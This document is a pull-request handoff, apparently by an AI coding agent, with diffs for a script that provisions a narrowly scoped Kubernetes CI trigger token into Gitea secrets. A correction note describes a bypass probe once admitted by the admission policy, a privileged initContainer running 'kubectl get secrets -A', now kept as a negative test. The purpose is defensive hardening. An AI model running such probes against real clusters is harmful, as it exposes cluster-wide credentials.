referenced in `ci/conformance.sh` **code rather than a comment**. These block only the
variable, because storing the secret early is harmless and is the plan's own order.
**Measured in the tree at the time of writing: all three arm-blocking checks FAIL** (no
`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
names the trigger kubeconfig only in its TODO comment). So on a live run today the script
would provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each
missing item — which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the
work that unblocks it.
*Both writes are verified the way `set-ci-token.sh` learned to.* `curl -sS` exits 0 on an
HTTP error, so status alone proves nothing: each write checks `%{http_code}` **and** reads
the object back. For the secret that is presence-by-name only (Gitea never returns secret
values) and the script says so rather than implying the content was checked; for the variable
it asserts the value reads back as exactly `true`.
*Noted, not fixed at the time (since fixed on this branch).* `infra/gitea/README.md`'s
detector table still named `GITEA_SETTINGS_TOKEN` — the illegal name PR #15 replaced with
`SETTINGS_API_TOKEN`. The second commit on this branch corrects the README's table and its
closing "remaining step" line, and records what `ci/gitea-settings.sh` actually does
(`TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"` — the old name survives only as a
local-run environment variable, never as CI wiring, because the secret that would feed it
cannot be created at all). Documentation only, no behaviour change. Still NOT fixed, because
it is outside this PR's diff: `ci/gitea-settings.sh:45` instructs the reader to create a repo
secret `GITEA_SETTINGS_TOKEN`, which is impossible.
*Rework, 2026-09-29.* This branch originally appended ~99 lines to the tail of
`DECISIONS-LOG.md`. That is the hunk every concurrent branch collided on and the sole reason
PR #19 was `mergeable: false`. The branch was rebuilt on today's `main` with the
`DECISIONS-LOG.md` change dropped entirely, and this file is that handoff moved into
`decisions/`. The changes to `infra/gitea/**` are byte-identical to the original three
commits; the commit that contained only the log append was dropped and its substance folded
in below.
## What I verified
*Of the script, before it stores anything:* it PROVES the credential narrow — `auth whoami`
must return `system:serviceaccount:conformance:conformance-trigger`; a real `get jobs`
round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create
pods/exec`, `get secrets`, `create jobs` in `default`, `get nodes`,
`'*' '*' --all-namespaces`). A mismatch aborts before anything is stored, and the message
says explicitly **not** to widen `conformance/incluster/rbac.yaml` to make it pass. That is a
property of the code as read, not of an execution.
*Of PR #19's CI, measured rather than assumed — and it contradicts the brief.* The brief for
this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**` is
security-relevant. Measured on the PR head commit's `/statuses`:
gate / gate (pull_request) success Successful in 1m34s
gate / conformance (pull_request) pending Blocked by required conditions
`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`.
**No path-scoped approval policy exists**, so nothing machine-enforces "security-relevant
paths need a human"; that rule rests entirely on `required_approvals: 1` plus a reviewer
actually reading the diff. Another instance of the CLAUDE.md §2b failure mode — a control
believed to exist because a brief said so. If the policy is intended, it is missing and needs
its own change. And per this repo's own rule, that green `gate` tick is **not** evidence this
script works: the gate never executes `infra/gitea/**`, and the L2/L3 stage skipped.
*Gate on the reworked branch (pinned toolbox, from the agent worktree, `DEV_KUBECONFIG=/dev/null`
plus the `ENGINE` bind-mount shim per CLAUDE.md §3):* `MERGE GATE: UNDETERMINED`, **rc 3**.
Diff base `origin/main @ c59fe9f923c4` ... this branch's head; touched requirement resolved as
`R-ENV-01`. `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden` and `l1` all
green; the gate decision names exactly one stage that did not run — `gitea-settings`
(`SETTINGS_API_TOKEN` is a credential this agent does not hold, unwired repo-wide). The
`conformance` stage also reported SKIPPED (`CLUSTER_AVAILABLE!=true`, Phase 0). The new
`decisions-log` stage — merged to `main` as PR #24 after this rework began — validated this very
file: "archive frozen, 2 entries well-formed", with `DECISIONS-LOG.md` unchanged and matching
`decisions/ARCHIVE.sha256`. rc 3 is UNDETERMINED, not green, and is not reported as green here.
## What I did NOT verify
**The script has never executed.** Not one line of it has run against Gitea or against the
cluster. Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no
shellcheck stage in the gate.
- The Gitea variables API shape (POST-creates / PUT-updates, body field `value` not `data`)
is from **documentation, not measurement**. The script tries POST then falls back to PUT,
prints the response body on failure, and treats the read-back as the authority.
- The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled both ways
and treats "neither present" as a block rather than assuming ready — but which form this
cluster actually reports is **unmeasured**.
- Whether the kubeconfig's embedded server URL is reachable from the runner pod **cannot be
known from here** — hence `--server`, and a hard refusal on a loopback address.
- No credential was minted, no Actions secret was created, `vars.CLUSTER_AVAILABLE` was not
set, and no `can-i` matrix was ever run against a real token. The narrowness argument above
is read from the RBAC and the script, not observed.
- The gate proves only its L0/L1 offline subset. L2/L3 conformance did not run, so nothing
here is evidence about runtime behaviour.
+42 -4
View File
@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
@@ -58,17 +58,42 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
## 3. Gaps to close (functional)
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
entrypoint path and the Job pins that uid — see §4.)*
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
`CHAINSAW_VERSION` as the single source of truth the image is built from.
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
install the entrypoint at that exact path) and provision that Secret (item 6).
Original text: → Add an
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
`--requirements` are injected by the CI trigger step as Job env/args.
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
still ships its red JUnit — that prints the artifact tree as a base64 tar between
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
collection instead of decoding to plausible garbage; the five checks the collector owes are
spelled out above that function. It lives in `run.sh` and not in the Job because admission
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
@@ -104,6 +129,19 @@ stack):**
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
same. Both are now covered by
`trigger-initcontainers-must-be-the-committed-clone-step` and
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
field that can carry executable intent, and a `pattern` over an array only asserts *at least
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
+69 -3
View File
@@ -102,7 +102,19 @@ Behaviour, proven by test rather than assumed:
|---|---|---|
| live matches the declaration | 0 | green |
| any key drifted, or no runner online | 1 | **blocks the merge** |
| no `GITEA_SETTINGS_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
| no `SETTINGS_API_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
> **The secret is `SETTINGS_API_TOKEN`.** An earlier draft of this table named
> `GITEA_SETTINGS_TOKEN`, which **cannot exist as a Gitea secret at all** — Gitea reserves the
> `GITEA_` prefix and returns HTTP 400 `invalid secret name`. That is the whole 2026-09-29
> inert-detector story, so the wrong name surviving here is worth correcting rather than
> reading past. Measured in `ci/gitea-settings.sh`:
>
> TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
>
> so `GITEA_SETTINGS_TOKEN` is still honoured — but **only as an environment variable for a
> LOCAL run**. It can never be the CI wiring, because the secret that would feed it cannot be
> created. In CI, only `SETTINGS_API_TOKEN` exists.
The skip is deliberately *not* a block: an unwired credential blocking every PR is the
lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
@@ -112,6 +124,59 @@ the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS
**Changing the declaration is how you change policy.** If the live state is what you now want,
edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
## `conformance-trigger-kubeconfig.sh` — the narrow L2/L3 trigger credential
Implements `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 (= §5 step 7): mint a
ServiceAccount token for `conformance/conformance-trigger`, wrap **only that token** in a
kubeconfig, store it as the Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG`, and — separately,
and only on request — set `vars.CLUSTER_AVAILABLE=true`.
./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run # measure only; writes nothing
./infra/gitea/conformance-trigger-kubeconfig.sh # mint + store the secret
./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available # + the variable
Never a cluster-admin kubeconfig, never a copy of the operator's own. The token is never
printed: it goes from the TokenRequest API into a 0600 file, into the request **body file**
(`--data @file`, so not even into `ps`), and nowhere else. The script refuses to run under
`set -x`.
**Its preconditions are split in two, and the split is the point.**
| Class | Checks | Blocks |
|---|---|---|
| **mint-blocking** (cluster) | SA/Role/RoleBinding exist; ClusterPolicy `conformance-trigger-job-shape` is present, `Enforce`, `failurePolicy: Fail`, Ready | the **mint** — nothing is created |
| **arm-blocking** (repo) | digest-pinned `CONFORMANCE_RUNNER_IMAGE`; `chainsaw-job.yaml` has an init-container and the admitted image; `ci/conformance.sh` names the trigger kubeconfig in **code, not a comment** | only `CLUSTER_AVAILABLE` |
Why mint-blocking: Kubernetes puts **no `use` check on a Job's `serviceAccountName`**, so a
token that can `create jobs` in `conformance` can run arbitrary code as the privileged
`conformance-runner` SA. RBAC cannot close that; the Kyverno policy is the boundary. Minting
while it is absent or in `Audit` hands CI the privileged identity, so the script will not do it.
Why arm-blocking is separate: storing the secret before the runner image / Job template / CI
trigger flow exist is harmless (the job is gated off), and is the plan's intended order. So
running this today provisions the secret and then **refuses to arm the variable**, naming the
missing item.
**`CLUSTER_AVAILABLE` is not a "turn conformance on" switch.** Measured 2026-09-29: set with no
trigger path, `run.sh` scaffold-skipped all 54 tests at rc 0 and `ci/conformance.sh` printed
"L2/L3 conformance passed" — a fake green on an enforcing required check. `ci/conformance.sh`
now blocks that case, so arming early does not enable L2/L3; it only breaks every PR. Hence:
`--arm-cluster-available` plus all preconditions green plus a typed confirmation on a TTY, or
nothing happens.
Both writes are verified the way `set-ci-token.sh` learned to: check `%{http_code}` **and**
read the object back. For the secret that proves presence by name only (Gitea never returns
secret values); for the variable it proves the value is exactly `true`, which is what
`gate.yml` compares against.
The token **expires** — it is a TokenRequest token, and the script decodes the JWT `exp` claim
to report the real expiry rather than trusting `--duration` (the API server caps it). Re-run to
rotate. After expiry the trigger gets 401 and the stage fails loudly rather than skipping.
`--server` exists because the embedded API-server URL must be reachable **from the CI runner
pod** — the VIP — which is not necessarily the address your workstation uses. The script
refuses a loopback server outright.
### Why these scripts exist at all, and what is still missing
Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
@@ -124,8 +189,9 @@ These scripts encode the desired state and can re-assert it; `ci/gitea-settings.
**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
root cause of the 2026-09-29 session.
It is only as good as its wiring: **until `GITEA_SETTINGS_TOKEN` exists it skips**, and a skipped
detector detects nothing. That is the remaining step.
It is only as good as its wiring: **until `SETTINGS_API_TOKEN` exists it skips**, and a skipped
detector detects nothing. (That secret was stored and verified in PR #15; this sentence predates
it. The name matters — see the note under the behaviour table above.)
## Historical sequence (kept for context)
+575
View File
@@ -0,0 +1,575 @@
#!/usr/bin/env bash
# infra/gitea/conformance-trigger-kubeconfig.sh
#
# OPERATOR script for docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6 (= §5 step 7):
# provision the NARROW CI trigger credential for L2/L3 conformance, and — only when the
# rest of the trigger path actually exists — arm `vars.CLUSTER_AVAILABLE`.
#
# What it does, in order:
# 1. measures the preconditions (cluster-side AND repo-side) instead of assuming them
# 2. mints a bounded-lifetime ServiceAccount token for `conformance-trigger` in ns
# `conformance` (kubectl create token -> TokenRequest API)
# 3. assembles a kubeconfig containing ONLY that token + the cluster CA + the API server
# 4. PROVES the kubeconfig is the narrow identity (auth whoami + an allow/deny matrix)
# 5. stores it as the Gitea Actions repo secret CONFORMANCE_TRIGGER_KUBECONFIG, and
# VERIFIES the store by reading the secret list back
# 6. sets vars.CLUSTER_AVAILABLE=true ONLY under --arm-cluster-available, only with every
# precondition green, and only after a typed confirmation. Otherwise it REFUSES.
#
# NOTHING SECRET IS EVER PRINTED. The token exists in a shell variable and in a 0600 file
# under a 0700 temp dir that is removed on exit; it reaches the Gitea API in a request-body
# FILE (`--data @file`), never in argv, never on stdout. This script prints names, byte
# lengths, HTTP status codes, the token's expiry timestamp, and yes/no authorization answers.
#
# ----------------------------------------------------------------------------------------
# THREE HARD-WON LESSONS THIS SCRIPT IS BUILT AROUND
# ----------------------------------------------------------------------------------------
# 1. GITEA RESERVES THE `GITEA_` PREFIX FOR SECRET NAMES.
# `PUT .../actions/secrets/GITEA_ANYTHING` returns HTTP 400 {"message":"invalid secret
# name"}. That is why set-ci-token.sh stores SETTINGS_API_TOKEN and not
# GITEA_SETTINGS_TOKEN. `CONFORMANCE_TRIGGER_KUBECONFIG` is legal, and is the exact name
# .gitea/workflows/{gate.yml,merge-gate.yaml} already reference — do not "tidy" it.
#
# 2. `curl -sS` EXITS 0 ON AN HTTP ERROR. The first version of set-ci-token.sh sent its PUT
# to /dev/null and printed "stored" unconditionally; the secret never existed and nobody
# knew for hours. So every write here captures `-w '%{http_code}'`, checks it, AND reads
# the object back afterwards. A store is not claimed unless the read-back shows it.
#
# 3. `CLUSTER_AVAILABLE` IS A LOADED GUN — SEE THE 2026-09-29 CORRECTION IN THE PLAN.
# `conformance/run.sh` exits 0 in scaffold mode with all 54 tests `<skipped>` when it
# cannot reach a cluster. Measured on 2026-09-29: with CLUSTER_AVAILABLE=true and no
# trigger path, ci/conformance.sh printed "[ ok ] L2/L3 conformance passed" at rc 0 — a
# FAKE GREEN on an enforcing required status check. ci/conformance.sh now BLOCKS that
# case (exit 1), so today the variable does not enable L2/L3: it only changes which way
# the stage fails. Arming it before §3 items 1-4 land therefore buys nothing and breaks
# every PR. This script refuses to do it.
#
# ----------------------------------------------------------------------------------------
# WHY THE PRECONDITIONS ARE SPLIT INTO TWO CLASSES (deliberate, and load-bearing)
# ----------------------------------------------------------------------------------------
# MINT-BLOCKING (cluster-side). Kubernetes places NO `use` check on a Job's
# `serviceAccountName`, so a token with plain `create jobs` in ns `conformance` can create a
# Job running as the PRIVILEGED `conformance-runner` SA with an arbitrary command. The
# trigger Role is only the necessary half; the sufficient half is the Kyverno ClusterPolicy
# `conformance-trigger-job-shape` (platform/kyverno/admission/), which must be present AND
# Enforce AND Ready. Minting this token while that policy is absent or in Audit hands CI a
# privileged identity. So those checks block the MINT itself — nothing is created if they
# fail. (See conformance/incluster/rbac.yaml's trigger header and plan §4.)
#
# ARM-BLOCKING (repo-side). The runner image, the Job template's init-container, and
# ci/conformance.sh's in-cluster trigger flow (plan §3 items 1, 2, 4) are what make a real
# L2/L3 run possible. Storing the kubeconfig secret without them is harmless — the
# conformance job is gated on the variable and never starts — and the plan explicitly lands
# the secret before the switch. So these checks block ONLY the variable.
#
# Net effect: you can safely run this script today to provision the secret. It will then
# REFUSE to arm the variable, and tell you exactly which repo-side item is missing.
#
# ----------------------------------------------------------------------------------------
# USAGE
# ----------------------------------------------------------------------------------------
# ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run
# Read-only. Measures every precondition, mints nothing, writes nothing.
# ./infra/gitea/conformance-trigger-kubeconfig.sh [--server URL]
# Mint + store the secret. Does NOT touch CLUSTER_AVAILABLE.
# ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available
# The above, then set vars.CLUSTER_AVAILABLE=true after a typed confirmation —
# refused unless every precondition is green.
#
# Options:
# --dry-run measure only; no TokenRequest, no PUT/POST
# --arm-cluster-available additionally set vars.CLUSTER_AVAILABLE=true (guarded)
# --server URL API server URL to embed (default: the operator context's own)
# --context NAME kube context to read the CA/server from (default: k3s-prod)
# --duration D requested token lifetime (default: 720h = 30d)
# -h | --help this text
#
# ON --server: the embedded server URL must be reachable FROM THE CI RUNNER POD, which is
# not necessarily the address your workstation uses. The runner has broad egress and reaches
# the kube-API VIP (per the plan: 192.168.1.49:6443). If your operator kubeconfig points at
# a workstation-only name or a localhost tunnel, pass --server explicitly; the script warns
# on a loopback server but cannot know your topology for you.
#
# ON TOKEN LIFETIME: this is a TokenRequest token and it EXPIRES. The API server may cap the
# requested duration, so the script decodes the JWT `exp` claim and reports the ACTUAL
# expiry rather than trusting --duration. Re-run this script to rotate. After expiry the
# trigger gets 401 and the conformance stage FAILS (loudly) rather than skipping — which is
# the correct direction, but put the expiry date in your calendar.
#
# DELIBERATELY NOT DONE: SOPS-sealing the token into secrets/conformance-trigger.sops.yaml
# (plan §3 item 6's "for reproducibility/rotation"). A bearer token with a 30-day life
# cannot usefully survive the branch -> PR -> review -> merge flow (CLAUDE.md §6), and
# committing one buys re-issuance we get for free by re-running this script against the
# live SA. If the operator still wants it sealed, that is a separate reviewed change.
#
# FORBIDDEN HERE, ON PURPOSE: no cluster-admin kubeconfig, no copy of the operator's own
# kubeconfig, no widening of conformance/incluster/rbac.yaml, no mutating kubectl beyond the
# TokenRequest itself, no `kubectl apply`.
set -euo pipefail
# xtrace would print the token. Refuse rather than leak.
case "$-" in
*x*) echo "FATAL: refusing to run under 'set -x' — xtrace would print the token" >&2; exit 1 ;;
esac
umask 077
HOST=gitea.home.keithjackson.dev
OWNER=Home-Network
REPO=home-network-k3s-impl
# Legal secret name: NOT prefixed GITEA_ (lesson 1), and the name the workflows already use.
SECRET=CONFORMANCE_TRIGGER_KUBECONFIG
VARIABLE=CLUSTER_AVAILABLE
NS=conformance
SA=conformance-trigger
RUNNER_SA=conformance-runner
POLICY=conformance-trigger-job-shape
# The image prefix the admission policy admits. Kept in sync with
# platform/kyverno/admission/conformance-trigger-job-shape.yaml by the P2 check below.
RUNNER_IMAGE_PREFIX='gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:'
KCTX=k3s-prod
DURATION=720h
DRY_RUN=false
ARM=false
SERVER_OVERRIDE=""
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
step() { printf '\n==> %s\n' "$*"; }
info() { printf ' %s\n' "$*"; }
warn() { printf ' WARN: %s\n' "$*" >&2; }
die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
usage() {
cat <<'USAGE'
conformance-trigger-kubeconfig.sh — provision the narrow L2/L3 conformance CI trigger credential.
--dry-run measure every precondition; mint nothing, write nothing (read-only)
--arm-cluster-available additionally set vars.CLUSTER_AVAILABLE=true (guarded + confirmed)
--server URL API server URL to embed (default: the operator context's own;
must be reachable FROM THE CI RUNNER POD — the kube-API VIP)
--context NAME kube context to read the CA/server from (default: k3s-prod)
--duration D requested token lifetime (default: 720h)
-h | --help this text
Read the header of this file before running it: the CLUSTER_AVAILABLE guard, the split between
mint-blocking and arm-blocking preconditions, and why nothing secret is ever printed.
USAGE
}
while [ $# -gt 0 ]; do
case "$1" in
--dry-run) DRY_RUN=true ;;
--arm-cluster-available) ARM=true ;;
--server) SERVER_OVERRIDE="${2:?--server needs a URL}"; shift ;;
--context) KCTX="${2:?--context needs a name}"; shift ;;
--duration) DURATION="${2:?--duration needs a value}"; shift ;;
-h|--help) usage; exit 0 ;;
*) die "unknown argument: $1 (try --help)" ;;
esac
shift
done
if $DRY_RUN && $ARM; then die "--dry-run and --arm-cluster-available are contradictory"; fi
for t in kubectl jq curl git base64; do
command -v "$t" >/dev/null || die "missing required tool: $t"
done
WORK="$(mktemp -d)"
KC="${WORK}/conformance-trigger.kubeconfig"
cleanup() { rm -rf "$WORK"; }
trap cleanup EXIT
trap 'cleanup; exit 130' INT TERM
# ========================================================================================
# 0. Gitea credentials — from the credential helper git already has for this host, exactly
# as branch-protection.sh / set-ci-token.sh / require-gate.sh do. Never in argv: curl
# reads them from a --config file descriptor.
# ========================================================================================
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
U="$(sed -n 's/^username=//p' <<<"$creds")"
P="$(sed -n 's/^password=//p' <<<"$creds")"
unset creds
[ -n "$U" ] && [ -n "$P" ] || die "no stored credential for ${HOST} (git credential fill returned nothing)"
basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
API="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
# ========================================================================================
# 1. PRECONDITIONS — measured, never assumed (CLAUDE.md §2b: query the thing itself).
# Two independent tallies, per the split documented in the header.
# ========================================================================================
MINT_FAIL=0
ARM_FAIL=0
pass() { printf ' [ ok ] %s\n' "$*"; }
fail_mint() { printf ' [MINT-BLOCK] %s\n' "$*" >&2; MINT_FAIL=$((MINT_FAIL + 1)); }
fail_arm() { printf ' [ARM-BLOCK] %s\n' "$*" >&2; ARM_FAIL=$((ARM_FAIL + 1)); }
step "preconditions — cluster side (these block the MINT: without them the token IS privileged)"
kubectl --context "$KCTX" get --raw /version >/dev/null 2>&1 \
|| die "cannot reach the API server via context '${KCTX}' — nothing below can be measured"
pass "API server reachable via context ${KCTX}"
# C1: the trigger identity exists (created by Flux from conformance/incluster/rbac.yaml via
# clusters/base/conformance.yaml). We print object names only, never contents.
if kubectl --context "$KCTX" -n "$NS" get serviceaccount "$SA" -o name >/dev/null 2>&1; then
pass "ServiceAccount ${NS}/${SA} exists"
else
fail_mint "ServiceAccount ${NS}/${SA} is ABSENT — is the 'conformance' Flux Kustomization reconciled?"
fi
for kind in role rolebinding; do
if kubectl --context "$KCTX" -n "$NS" get "$kind" "$SA" -o name >/dev/null 2>&1; then
pass "${kind} ${NS}/${SA} exists"
else
fail_mint "${kind} ${NS}/${SA} is ABSENT — the token would authenticate but authorize nothing"
fi
done
# C2: THE SECURITY BOUNDARY. Present, Enforce, and Ready. Anything else and we do not mint.
# `validationFailureAction: Audit` is not a boundary; an unready policy is not a boundary.
if pol="$(kubectl --context "$KCTX" get clusterpolicy "$POLICY" -o json 2>/dev/null)"; then
action="$(jq -r '.spec.validationFailureAction // .spec.rules[0].validate.failureAction // "UNSET"' <<<"$pol")"
failpol="$(jq -r '.spec.failurePolicy // "UNSET"' <<<"$pol")"
# Kyverno moved readiness from .status.ready to a Ready condition; accept either, and
# treat "neither key present" as UNMEASURABLE -> block (fail closed, do not assume ready).
ready="$(jq -r '
if (.status.ready != null) then (.status.ready | tostring)
elif (.status.conditions != null) then
((.status.conditions[] | select(.type == "Ready") | .status) // "UNKNOWN")
else "UNKNOWN" end' <<<"$pol")"
info "ClusterPolicy ${POLICY}: validationFailureAction=${action} failurePolicy=${failpol} ready=${ready}"
[ "$action" = "Enforce" ] || fail_mint "ClusterPolicy ${POLICY} is '${action}', not Enforce — the trigger would be unbounded"
[ "$failpol" = "Fail" ] || fail_mint "ClusterPolicy ${POLICY} failurePolicy='${failpol}', not Fail — a Kyverno outage would admit arbitrary Jobs"
case "$ready" in
true|True) pass "ClusterPolicy ${POLICY} reports Ready" ;;
*) fail_mint "ClusterPolicy ${POLICY} does not report Ready (got '${ready}') — refusing to assume it is loaded" ;;
esac
else
fail_mint "ClusterPolicy ${POLICY} is ABSENT — plan §4's boundary does not exist; a token with 'create jobs' here can run arbitrary code as ${RUNNER_SA}"
fi
step "preconditions — repo side (these block ONLY arming ${VARIABLE}; the secret may be stored first)"
# R1: the runner image is built and digest-pinned. Without it the Job cannot run run.sh at
# all (the stock chainsaw image has no bash/python3/kubectl/git) — plan §3 item 1.
VERSIONS="${REPO_ROOT}/conformance/versions.env"
if grep -Eq '^[[:space:]]*CONFORMANCE_RUNNER_IMAGE=.*@sha256:[0-9a-f]{64}' "$VERSIONS" 2>/dev/null; then
pass "CONFORMANCE_RUNNER_IMAGE is digest-pinned in conformance/versions.env"
else
fail_arm "conformance/versions.env has no digest-pinned CONFORMANCE_RUNNER_IMAGE (plan §3 item 1) — the Job cannot run ./run.sh"
fi
# R2: the Job template is the real thing, not the skeleton: the admitted image AND an
# init-container that populates the empty `workspace` volume with the suite at the PR SHA
# (plan §3 item 2). A template whose image the policy will not admit is a guaranteed denial.
